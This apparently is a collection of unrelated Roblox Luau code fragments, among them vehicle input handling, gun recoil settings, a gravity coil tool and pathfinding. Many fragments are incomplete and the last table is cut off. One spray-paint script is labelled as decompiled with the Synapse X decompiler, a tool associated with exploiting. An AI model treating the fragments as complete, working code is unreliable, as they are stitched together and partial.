local cellSizeYOffset = values.iconSize.Y.Offset
local cellSizeYScale = values.iconSize.Y.Scale
local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
local labelHeight = cellHeight * values.iconLabelYScale
local labelWidth = textService:GetTextSize(values.iconText, labelHeight, values.iconFont, Vector2.new(10000, labelHeight)).X
local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio
local usingImage = values.iconImage ~= ""
local usingText = values.iconText ~= ""
local notifPosYScale = 0.5
local desiredCellWidth
local preventClippingOffset = labelHeight/2
if usingImage and not usingText then
notifPosYScale = 0.45
self:set("iconImageVisible", true, iconState)
self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), iconState)
self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), iconState)
self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), iconState)
self:set("iconLabelVisible", false, iconState)
elseif not usingImage and usingText then
desiredCellWidth = labelWidth+(X_MARGIN*2)
self:set("iconLabelVisible", true, iconState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, preventClippingOffset), iconState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, iconState)
self:set("iconImageVisible", false, iconState)
elseif usingImage and usingText then
local labelGap = X_MARGIN + imageWidth + X_GAP
desiredCellWidth = labelGap + labelWidth + X_MARGIN
self:set("iconImageVisible", true, iconState)
self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), iconState)
----
self:set("iconLabelVisible", true, iconState)
self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), iconState)
self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, preventClippingOffset), iconState)
self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, iconState)
end
if desiredCellWidth then
if not self._updatingIconSize then
self._updatingIconSize = true
local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0
local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth)
self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), iconState, "_ignorePrevious")
-- This ensures that if an icon is within a dropdown or menu, its container adapts accordingly with this new iconSize value
local parentIcon = self._parentIcon
if parentIcon then
local originalIconSize = UDim2.new(0, desiredCellWidth, 0, values.iconSize.Y.Offset)
if #parentIcon.dropdownIcons > 0 then
self:setAdditionalValue("iconSize", "beforeDropdown", originalIconSize, iconState)
parentIcon:_updateDropdown()
end
if #parentIcon.menuIcons > 0 then
self:setAdditionalValue("iconSize", "beforeMenu", originalIconSize, iconState)
parentIcon:_updateMenu()
end
end
self._updatingIconSize = false
end
end
self:set("iconLabelTextSize", labelHeight, iconState)
self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), iconState)
self._updatingIconSize = false
end
|
--[[Misc]]
|
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = false -- Set to false if using manual ignition plugin
Tune.AutoFlip = false -- Set to false if using manual flip plugin
|
--returns a table of vector3s that represent the corners of any given part
|
function RoomPackager:CornersOfPart(part)
local cframe = part.CFrame
local halfSizeX = part.Size.X / 2
local halfSizeY = part.Size.Y / 2
local halfSizeZ = part.Size.Z / 2
local corners = {
RightTopBack = cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, halfSizeZ)),
RightBottomBack = cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, halfSizeZ)),
RightTopFront = cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, -halfSizeZ)),
RightBottomFront = cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, -halfSizeZ)),
LeftTopBack = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, halfSizeZ)),
LeftBottomBack = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, halfSizeZ)),
LeftTopFront = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, -halfSizeZ)),
LeftBottomFront = cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, -halfSizeZ)),
}
return corners
end
|
---[[ Chat Behaviour Settings ]]
|
module.WindowDraggable = false
module.WindowResizable = false
module.ShowChannelsBar = true
module.GamepadNavigationEnabled = false
module.ShowUserOwnFilteredMessage = true --Show a user the filtered version of their message rather than the original.
|
--// Recoil Settings
|
gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming
camrecoil = 0.36; -- How much the camera flicks when not aiming
AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.43; -- How much the camera flicks when aiming
CamShake = 2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 3; -- THIS IS ALSO NEW!!!!
Kickback = 0.2; -- Upward gun rotation when not aiming
AimKickback = 0.2; -- Upward gun rotation when aiming
|
-- list of user ids of who you would like to use this command, requires needswhitelist to be true
-- owner of the game/group is added by default, so you dont need to add them yourself
-- Examples: local whitelist = {1,2,3}
| |
--[[
Turns a series of specification functions into a test plan.
Uses a TestPlanBuilder to keep track of the state of the tree being built.
]]
|
local TestPlan = require(script.Parent.TestPlan)
local TestPlanner = {}
|
--[[Controls]]
|
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
car.DriveSeat.Filter:FireServer('shift',false)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
car.DriveSeat.Filter:FireServer('shift',true)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
if script.Parent.DriveMode.Value ~= "SportPlus" then
_TCS = not _TCS
end
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
-- Decompiled with the Synapse X Luau decompiler.
|
print("--[[ LawlR Fix - Spray Paint ]]--");
local l__Players__1 = game:GetService("Players");
local l__Parent__2 = script.Parent;
local l__LocalPlayer__3 = l__Players__1.LocalPlayer;
local l__mouse__1 = l__LocalPlayer__3:GetMouse();
local u2 = l__LocalPlayer__3;
local u3 = l__LocalPlayer__3.PlayerGui;
local u4 = nil;
local l__SprayGui__5 = l__Parent__2:WaitForChild("SprayGui");
local u6 = nil;
local u7 = nil;
local u8 = "80373023";
local u9 = nil;
l__Parent__2.Equipped:Connect(function()
u2 = l__Players__1:GetPlayerFromCharacter(l__Parent__2.Parent);
u3 = u2.PlayerGui;
u4 = l__SprayGui__5:Clone();
u6 = u4.Frame.Frame.TextBox;
u7 = u4.Frame.ImageLabel;
u6.Text = u8;
u7.Image = "rbxassetid://" .. u8;
if u9 then
u9:Disconnect();
end;
u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png";
u9 = u6:GetPropertyChangedSignal("Text"):Connect(function()
u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png";
end);
u4.Parent = u3;
if l__Parent__2.Enabled then
local v4 = "rbxasset://textures\\GunCursor.png";
else
v4 = "rbxasset://textures\\GunWaitCursor.png";
end;
l__mouse__1.Icon = v4;
end);
l__Parent__2.Unequipped:Connect(function()
l__mouse__1.Icon = "";
u8 = u6.Text;
u4:Destroy();
end);
l__Parent__2:GetPropertyChangedSignal("Enabled"):Connect(function()
local l__Parent__5 = l__Parent__2.Parent;
if l__Parent__5 and l__Parent__5:IsA("Model") then
if l__Parent__2.Enabled then
local v6 = "rbxasset://textures\\GunCursor.png";
else
v6 = "rbxasset://textures\\GunWaitCursor.png";
end;
l__mouse__1.Icon = v6;
end;
end);
l__Parent__2.RemoteFunction.OnClientInvoke = function()
return l__mouse__1.Hit, l__mouse__1.TargetSurface, l__mouse__1.Target, u6.Text;
end;
|
-------------------------------------------------------------------------------
-- API:
|
function API:FindPath(pointA, pointB)
local points = {}
local paths = {}
local path
local tooLong = false
repeat
path = pathfindingService:ComputeRawPathAsync(pointA, pointB, 500)
table.insert(paths, path)
if (path.Status ~= Enum.PathStatus.FailStartNotEmpty and path.Status ~= Enum.PathStatus.FailFinishNotEmpty) then
for _,pt in pairs(path:GetPointCoordinates()) do
table.insert(points, pt)
end
if (path.Status == Enum.PathStatus.ClosestOutOfRange) then
pointA = points[#points]
if (#paths >= MAX_PATHS) then
tooLong = true
break
end
end
end
until (path.Status ~= Enum.PathStatus.ClosestOutOfRange)
if (#points > 2) then
points = SimplifyPointsStraight(SimplifyPointsDiagonal(points))
end
return CreatePathObject(paths, points, (tooLong and Enum.PathStatus.ClosestOutOfRange or path.Status))
end
function API:SetEmptyCutoff(emptyCutoff)
pathfindingService.EmptyCutoff = emptyCutoff
end
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables
|
do
local optionCallback = {
Modifiable = function(value)
for i = 1,#actionButtons do
actionButtons[i].Obj.Visible = value and Option.Selectable
end
cancelReparentDrag()
end;
Selectable = function(value)
for i = 1,#actionButtons do
actionButtons[i].Obj.Visible = value and Option.Modifiable
end
cancelSelectDrag()
Selection:Set({})
end;
}
local bindSetOption = explorerPanel:FindFirstChild("SetOption")
if not bindSetOption then
bindSetOption = Create('BindableFunction',{Name = "SetOption"})
bindSetOption.Parent = explorerPanel
end
bindSetOption.OnInvoke = function(optionName,value)
if optionCallback[optionName] then
Option[optionName] = value
optionCallback[optionName](value)
end
end
local bindGetOption = explorerPanel:FindFirstChild("GetOption")
if not bindGetOption then
bindGetOption = Create('BindableFunction',{Name = "GetOption"})
bindGetOption.Parent = explorerPanel
end
bindGetOption.OnInvoke = function(optionName)
if optionName then
return Option[optionName]
else
local options = {}
for k,v in pairs(Option) do
options[k] = v
end
return options
end
end
end
function SelectionVar()
return Selection
end
Input.InputBegan:connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftControl then
HoldingCtrl = true
end
if key.KeyCode == Enum.KeyCode.LeftShift then
HoldingShift = true
end
end)
Input.InputEnded:connect(function(key)
if key.KeyCode == Enum.KeyCode.LeftControl then
HoldingCtrl = false
end
if key.KeyCode == Enum.KeyCode.LeftShift then
HoldingShift = false
end
end)
while RbxApi == nil do
RbxApi = GetApiRemote:Invoke()
wait()
end
explorerFilter.Changed:connect(function(prop)
if prop == "Text" then
Selection.Finding = true
rawUpdateList()
end
end)
explorerFilter.FocusLost:connect(function()
if explorerFilter.Text == "" then
if Selection.Found[1] then
scrollBar:ScrollTo(NodeLookup[Selection.Found[1]].Index)
end
Selection.Finding = false
Selection.Found = {}
end
end)
CurrentInsertObjectWindow = CreateInsertObjectMenu(
GetClasses(),
"",
false,
function(option)
CurrentInsertObjectWindow.Visible = false
local list = SelectionVar():Get()
for i = 1,#list do
RemoteEvent:InvokeServer("InstanceNew", option, list[i])
end
DestroyRightClick()
end
)
|
--script.Parent:Destroy()
|
r=script.Parent
script:WaitForChild'To'
pos=script.Parent.CFrame
g,p=r:FindFirstChild'bg'or script.bg,r:FindFirstChild'bp'or script.bp
g.Parent,p.Parent=r,r
p.position=r.Position
function got(t)
if t:IsDescendantOf(workspace.Pick)then
if t.Parent.Name=='Mod'then
r.Parent=t.Parent
script.To.Value=workspace.Finish
else
local m=Instance.new('Model',workspace.Pick)
r.Parent,t.Parent=m,m
m.Name='Mod'
end
local w=Instance.new('Weld',r)
w.Part0=r
w.Part1=t
w.C0=CFrame.new(0,0,-r.Size.Z/2-.1)
w.C1=CFrame.new(0,0,t.Size.Z/2)
elseif r.Parent.Name=='Mod'then
r.Parent:Destroy()script.Disabled=true
r:Destroy()script:Destroy()
return true
else
script.Disabled=true
r:Destroy()script:Destroy()
return true
end
end
wait(.1)
local rss=script.To.Value.Parent
while 1 do if script.To.Value and script.To.Value.Parent and script.To.Value.Parent==rss then
path=game:GetService'PathfindingService':ComputeRawPathAsync(pos.p,script.To.Value.Position,100)--wait(2)
s2=path:GetPointCoordinates()[2]or path:GetPointCoordinates()[1]
a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent)
w=0
repeat w=w+1
if s2 then
local cf=CFrame.new(pos.p,s2)
pos=cf*CFrame.new(0,0,-.3)
a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent)
p.position=Vector3.new(pos.X,b.Y+.3,pos.Z)
g.cframe=r.Velocity.magnitude>.5 and CFrame.new(r.Position,r.Position+r.Velocity)or g.cframe
if(Vector3.new(r.Position.X,0,r.Position.Z)-Vector3.new(pos.X,0,pos.Z)).magnitude>3 then
r.CFrame=r.CFrame-r.Position+Vector3.new(pos.X,b.Y+.3,pos.Z)
end
else break end
wait()until(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude<1 or(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude>6 or w>20
if script.To.Value and(r.Position-script.To.Value.Position).magnitude<8 then if got(script.To.Value)then break end end
else script.To.Value,rss=workspace.Finish,workspace wait()
end end
|
-- Animate
|
playAnimation.OnServerEvent:Connect(function(player, animation, speed)
local animation = player.Character:WaitForChild("Humanoid"):LoadAnimation(animation)
animation:Play()
animation:AdjustSpeed(speed)
tool.Unequipped:Connect(function()
animation:Stop()
end)
end)
|
-- TODO Luau: annoying type erasure here, probably needs the new Records language feature
|
function Map:set(key: any, value: any): Map<any, any>
-- preserve initial insertion order
if self._map[key] == nil then
-- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number
self.size = self.size :: number + 1
table.insert(self._array, key)
end
-- always update value
self._map[key] = value
return self
end
function Map:get(key)
return self._map[key]
end
function Map:clear()
local table_: any = table
self.size = 0
table_.clear(self._map)
table_.clear(self._array)
end
function Map:delete(key): boolean
if self._map[key] == nil then
return false
end
-- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number
self.size = self.size :: number - 1
self._map[key] = nil
local index = table.find(self._array, key)
if index then
table.remove(self._array, index)
end
return true
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Sounds = {
CoilSound = Handle:WaitForChild("CoilSound"),
}
Gravity = 196.20
JumpHeightPercentage = 0.2
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
Sounds.CoilSound:Play()
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--- Makes the Maid clean up when the instance is destroyed
-- @param Instance Instance The Instance the Maid will wait for to be Destroyed
-- @returns Disconnectable table to stop Maid from being cleaned up upon Instance Destroy (automatically cleaned up by Maid, btw)
-- @author Corecii
|
local Disconnect = {Connected = true}
Disconnect.__index = Disconnect
function Disconnect:Disconnect()
self.Connected = false
self.Connection:Disconnect()
end
function Maid:LinkToInstance(Object)
local Reference = Instance.new("ObjectValue")
Reference.Value = Object
-- ObjectValues have weak-like Instance references
-- If the Instance can no longer be accessed then it can be collected despite
-- the ObjectValue having a reference to it
local ManualDisconnect = setmetatable({}, Disconnect)
local Connection
local function ChangedFunction(Obj, Par)
if not Reference.Value then
ManualDisconnect.Connected = false
return self:DoCleaning()
elseif Obj == Reference.Value and not Par then
Obj = nil
wait() -- Push further execution of this script to the end of the current execution cycle.
-- This is needed because when the event first runs it's always still Connected.
-- The object may have been reparented or the event manually disconnected or disconnected and ran in that time...
if (not Reference.Value or not Reference.Value.Parent) and ManualDisconnect.Connected then
if not Connection.Connected then
ManualDisconnect.Connected = false
return self:DoCleaning()
else
-- Since this event won't fire if the instance is destroyed while in nil, we have to check
-- often to make sure it's not destroyed. Once it's parented outside of nil we can stop doing
-- this. We also must check to make sure it wasn't manually disconnected or disconnected and ran.
while wait(0.2) do
if not ManualDisconnect.Connected then
-- Don't run func, we were disconnected manually
return
elseif not Connection.Connected then
-- Otherwise, if we're disconnected it's because instance was destroyed
ManualDisconnect.Connected = false
return self:DoCleaning()
elseif Reference.Value.Parent then
-- If it's still Connected then it's not destroyed. If it has a parent then
-- we can quit checking if it's destroyed like this.
return
end
end
end
end
end
end
Connection = Object.AncestryChanged:Connect(ChangedFunction)
ManualDisconnect.Connection = Connection
Object = nil
-- If the object is currently in nil then we need to start our destroy checking loop
-- We need to spawn a new Roblox Lua thread right now before any other code runs.
-- spawn() starts it on the next cycle or frame, coroutines don't have ROBLOX's coroutine.yield handler
-- The only option left is BindableEvents, which run as soon as they are called and use ROBLOX's yield
local QuickRobloxThreadSpawner = Instance.new("BindableEvent")
QuickRobloxThreadSpawner.Event:Connect(ChangedFunction)
QuickRobloxThreadSpawner:Fire(Reference.Value, Reference.Value.Parent)
QuickRobloxThreadSpawner:Destroy()
self._Tasks[#self._Tasks + 1] = ManualDisconnect -- Give Task to Maid, cleanup this Connection upon cleanup
return ManualDisconnect
end
|
-- ROBLOX deviation: used to communicate with the TestEZ test runner
|
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__"
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local instanceof = LuauPolyfill.instanceof
local AssertionError = LuauPolyfill.AssertionError
local getType = require(Packages.JestGetType).getType
|
--F.brakeLights = function(Tog)
-- for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do
-- if v:FindFirstChild('Brake') then
-- v.Braking.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
-- v.Lights.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
-- end
-- end
--end
| |
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{66,19,20,58},t},
[49]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{66,19},t},
[59]={{66,19,20,57,56,30,41,59},t},
[63]={{66,19,63},t},
[34]={{66,19,20,57,56,30,41,39,35,34},t},
[21]={{66,19,20,21},t},
[48]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{66,19,20,57,56,30,41,39,35,34,32,31},t},
[56]={{66,19,20,57,56},t},
[29]={{66,19,20,57,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{66,19,20,57},t},
[36]={{66,19,20,57,56,30,41,39,35,37,36},t},
[25]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{66,19,20,57,56,30,41,59,61,71},t},
[20]={{66,19,20},t},
[60]={{66,19,20,57,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{66,19,20,57,56,30,41,59,61,71,72,76,73,75},t},
[22]={{66,19,20,21,22},t},
[74]={{66,19,20,57,56,30,41,59,61,71,72,76,73,74},t},
[62]={{66,19,63,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{66,19,20,57,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{66,19,20,57,56,30,41,39,35},t},
[53]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{66,19,20,57,56,30,41,59,61,71,72,76,73},t},
[72]={{66,19,20,57,56,30,41,59,61,71,72},t},
[33]={{66,19,20,57,56,30,41,39,35,37,36,33},t},
[69]={{66,19,20,57,56,30,41,60,69},t},
[65]={{66,64,65},t},
[26]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{66,64,67,68},t},
[76]={{66,19,20,57,56,30,41,59,61,71,72,76},t},
[50]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{66},t},
[10]={n,f},
[24]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{66,19,63,62,23},t},
[44]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{66,19,20,57,56,30,41,39},t},
[32]={{66,19,20,57,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{66,19,20,57,56,30},t},
[51]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{66,64,67},t},
[61]={{66,19,20,57,56,30,41,59,61},t},
[55]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{66,19,20,57,56,30,41,39,40,38,42},t},
[40]={{66,19,20,57,56,30,41,39,40},t},
[52]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{66,19,20,57,56,30,41},t},
